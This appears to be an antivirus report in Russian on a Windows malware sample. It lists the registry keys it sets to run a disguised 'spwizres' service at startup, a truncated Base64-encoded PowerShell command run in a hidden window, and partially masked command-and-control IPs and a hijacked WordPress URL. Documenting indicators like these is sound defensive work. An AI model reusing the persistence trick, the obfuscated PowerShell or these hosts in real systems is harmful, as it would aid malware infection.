Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\EFS] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\spwizres] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\spwizres] 'ImagePath' = '"%WINDIR%\SysWOW64\DeviceUxRes\spwizres.exe"'
- 'spwizres' "%WINDIR%\SysWOW64\DeviceUxRes\spwizres.exe"
- 'spwizres' %WINDIR%\SysWOW64\DeviceUxRes\spwizres.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IAAgAHMAdgAgACAAeAA4AFkAZQBJAFMAIAAgACgAIAAgAFsAdABZAHAARQBdACgAIgB7ADAAfQB7ADMAfQB7ADQAfQB7ADUAfQB7ADEAfQB7ADIAfQAiAC0AZgAnAHMAWQBzAHQAJwAsACcAUgBlAEMAJwAsACcAVABPAFIAeQ...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1528
- %TEMP%\1077420.cvr
- %HOMEPATH%\ts0ns8c\q6s4bbf\ekkzsyr.exe
- %WINDIR%\syswow64\deviceuxres\spwizres.exe
- %HOMEPATH%\ts0ns8c\q6s4bbf\ekkzsyr.exe в %WINDIR%\syswow64\deviceuxres\spwizres.exe
- '10#.#82.145.130':80
- '17#.#73.254.105':80
- http://mu####ustries.com/wp-admin/D/
- http://17#.#73.254.105/beBwV/8i2jBYrd08/iGy4eijrTh/Ds2NVC5Y2q/
- DNS ASK mu####ustries.com
- '%HOMEPATH%\ts0ns8c\q6s4bbf\ekkzsyr.exe'
- '%WINDIR%\syswow64\deviceuxres\spwizres.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD IAAgAHMAdgAgACAAeAA4AFkAZQBJAFMAIAAgACgAIAAgAFsAdABZAHAARQBdACgAIgB7ADAAfQB7ADMAfQB7ADQAfQB7ADUAfQB7ADEAfQB7ADIAfQAiAC0AZgAnAHMAWQBzAHQAJwAsACcAUgBlAEMAJwAsACcAVABPAFIAeQ...' (со скрытым окном)